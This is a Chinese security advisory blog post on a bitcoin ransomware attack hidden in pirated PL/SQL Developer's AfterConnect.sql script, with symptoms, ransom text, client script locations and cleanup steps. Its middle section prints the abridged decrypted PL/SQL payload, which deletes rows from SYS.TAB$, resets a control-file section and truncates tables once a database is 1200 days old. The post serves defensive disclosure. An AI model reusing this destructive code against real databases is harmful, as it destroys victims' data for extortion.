閱讀498 返回首頁    go 技術社區[雲棲]


知己知彼-關於Oracle安全比特幣勒索問題揭秘和防範

640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=
風險從來都不是臆想和草木皆兵,就在你不經意的時刻,可能風險就突然降臨到我們的身邊。

近期,國內很多用戶的 Oracle 數據庫,突然遭遇到莫名其妙的攻擊事件,大家種種猜測、揣摩、重試,引發了一次小小的數據恐慌。


在注意到這類安全事件之後,我們第一時間投入分析、采集,最後找出了問題的根源,昨天已經發出了全麵的預警和警示,今天再次詳述該類問題,與 Oracle 的用戶們共為警醒。


最近問題的主要原因是某些用戶下載了來源不明的數據庫管理工具,導致數據庫被感染。我們強烈推薦大家提高版權意識,購買正版軟件,遠離風險,從規範做起。


問題症狀:

很多用戶在錄數據庫時發現該問題,數據庫應用彈出"鎖死"提示,並且威脅說需要向黑客發送5個比特幣方可獲得解鎖。

在客戶端,你可能獲得類似的提示信息:

640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=

在數據庫受攻擊之後,在數據庫的告警日誌中,可能充斥如下信息:

ORA-00604: error occurred at recursive SQL level 1

ORA-20315: 你的數據庫已被SQL RUSH Team鎖死  發送5個比特幣到這個地址 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (大小寫一致)  之後把你的Oracle SID郵寄地址 sqlrush@mail.com我們將讓你知道如何解鎖你的數據庫  

Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (case sensitive),  after that send your Oracle SID to mail address sqlrush@mail.com, we will let you know how to unlock your database.

ORA-06512: at “XXX.DBMS_CORE_INTERNAL         ", line 27

ORA-06512: at line 2

這裏無非是一些警示和勒索,但是這兒 SQL RUSH Team,引發了大家的猜測,sqlrush @ mail.com ,這個地址 和 id 引發了對於始作俑者的猜測,當然事實不得而知。


問題原因:

我們通過有限的案例,詳細分析了問題的原因和感染過程,在此披露出來,給 Oracle 的用戶們作為參考。

注意:當一個問題研究清楚之後,就不再會產生恐懼,恐懼來自於未知,在沒有遭到原因之前,大家的各種猜測導致問題擴大化,現在可以回到問題的本質上來了。


問題的根本原因是:如果用戶從互聯網上下載了盜版的 PL/SQL Developer 工具後(尤其是各種綠色版、破解版),就可能因為這個工具中招。所以這個問題和 Oracle 本身關係不大,也沒有注入那麼複雜。而是隨著你使用這個工具,用戶的權限就自然被附體的進行了入侵。


重要的問題要說三遍:盜版軟件害人!


PL/SQL Developer  在中國的流行程度和盜版程度毋庸置疑。這個軟件的安裝目錄存在一個腳本文件 AfterConnect.sql,這個腳本就是真正的問題所在。


正版軟件安裝,這個腳本文件是空文件,但是被注入的文件包含了一係列的JOB定義、存儲過程和觸發器定義,就是禍患的源頭。


受感染文件 -  AfterConnect.sql 開頭是這樣的,偽裝成一個 login.sql 的腳本內容,有清晰的注釋代碼:

640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=

實質內容,以加密方式展示,用戶看不到內容,但是可以通過 unwrap 進行解密(但是注意那些解密程序不要存在惡意代碼):

640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=

無疑,黑客是非常了解 Oracle 數據庫的,其腳本代碼的核心部分,解密後如下(做了刪節,不要害人):

BEGIN

   SELECT NVL(TO_CHAR(SYSDATE-CREATED ),0) INTO DATE1 FROM V$DATABASE;

   IF (DATE1>=1200) THEN

   EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system  as select * from sys.tab$';

   DELETE SYS.TAB$ WHERE DATAOBJ# IN (SELECT DATAOBJ# FROM SYS.OBJ$ WHERE OWNER# NOT IN (0,38)) ;

   COMMIT;

   EXECUTE IMMEDIATE 'alter system checkpoint';

   SYS.DBMS_BACKUP_RESTORE.RESETCFILESECTION(14);

   FOR I IN 1..2046 LOOP

   DBMS_SYSTEM.KSDWRT(2, 'Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (case sensitive),  after that send your Oracle SID to mail address sqlrush@mail.com, we will let you know how to unlock your database.');

   DBMS_SYSTEM.KSDWRT(2, '你的數據庫已被SQL RUSH Team鎖死  發送5個比特幣到這個地址 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (大小寫一致)  之後把你的Oracle SID郵寄地址sqlrush@mail.com 我們將讓你知道如何解鎖你的數據庫 ');

   END LOOP;

   END IF;

END;  


請注意黑客的專業性,在程序的開端有以下部分判斷:

SELECT NVL(TO_CHAR(SYSDATE-CREATED ),0) INTO DATE1 FROM V$DATABASE;

   IF (DATE1>=1200) THEN

也就是,判斷數據庫創建時間大於1200天,才開始動作(這個判斷相當有見地,小庫和新庫,數據少不重要,先放長線釣大魚),如果你的數據庫還沒有爆發,那可能是因為時間還沒有到。


我們強烈建議用戶檢查數據庫工具的使用情況,避免使用來曆不明的工具產品。

我們強烈建議:采用正版軟件,規避未知風險。


安全漏洞:

我們知道,幾乎絕大多數數據庫的客戶端工具,在訪問數據庫時,都可以通過腳本進行一定的功能定義,而這些腳本往往就是安全問題的漏洞之一。本例的攻擊手段非常初級,但是也非常巧妙。


下載來源不明、漢化來曆不明、破解來曆不明的工具是數據庫管理大忌,以下列出了常見客戶端工具的腳本位置,需要引起注意:

SQL*Plus: glogin.sql / login.sql

TOAD : toad.ini

PLSQLdeveloper: login.sql / afterconnect.sql

我們強烈建議用戶加強數據庫的權限管控、生產環境和測試環境隔離,嚴格管控開發和運維工具。


處置建議:

這個攻擊是通過 JOB、觸發器、存儲過程 來協同工具的,所以如果數據庫遭遇到這個問題,可以將 JOB 參數 job_queue_processes 設置為 0 ,屏蔽掉 JOB 的執行,然後重啟數據庫。可以清除注入對象,這些對象可能包括以下同名觸發器和存儲過程:

PROCEDURE "DBMS_CORE_INTERNAL         "

PROCEDURE "DBMS_SYSTEM_INTERNAL         "

PROCEDURE "DBMS_SUPPORT_INTERNAL         "

而攻擊的核心代碼還包括,這會 Truncate 數據表:

STAT:='truncate table '||USER||'.'||I.TABLE_NAME;


如果您的數據庫已經遭受攻擊和數據損失,可以緊急聯係雲和恩墨的服務團隊,我們可以幫助您處理數據修複事宜。雲和恩墨久經考驗的ODU產品,可以在數據丟失後最大限度的恢複數據。雲和恩墨的自動化巡檢工具:Bethune(白求恩),內置一項檢查,訪問來源、訪問工具分析,可以幫助用戶梳理清楚你的數據庫使用情況。別猶豫,去 https://bethune.enmotech.com 看看,不收錢


事件回顧:

  • 2015年9月,XcodeGhost入侵蘋果iOS事件在業內引起不小震動。事件起因為不知名黑客向iOS應用開發工具Xcode植入惡意程序,通過網盤和論壇上傳播,被感染的App並以此劫持蘋果用戶相關信息。來自多個安全團隊數據顯示,病毒感染波及AppStore下載量最高的5000個App其中的76個,保守估計受影響用戶數超過一億。

  • 2012年2月,中文版putty等SSH遠程管理工具被曝出存在後門,該後門會自動竊取管理員所輸入的SSH用戶名與口令,並將其發送至指定服務器上。


安全防範,請從今日開始。


文章轉自數據和雲公眾號,原文鏈接

最後更新:2017-07-17 17:33:15

  上一篇:go  DBA生存警示:主備環境誤操作案例及防範建議
  下一篇:go  2017,那些我們一起刪庫跑路的日子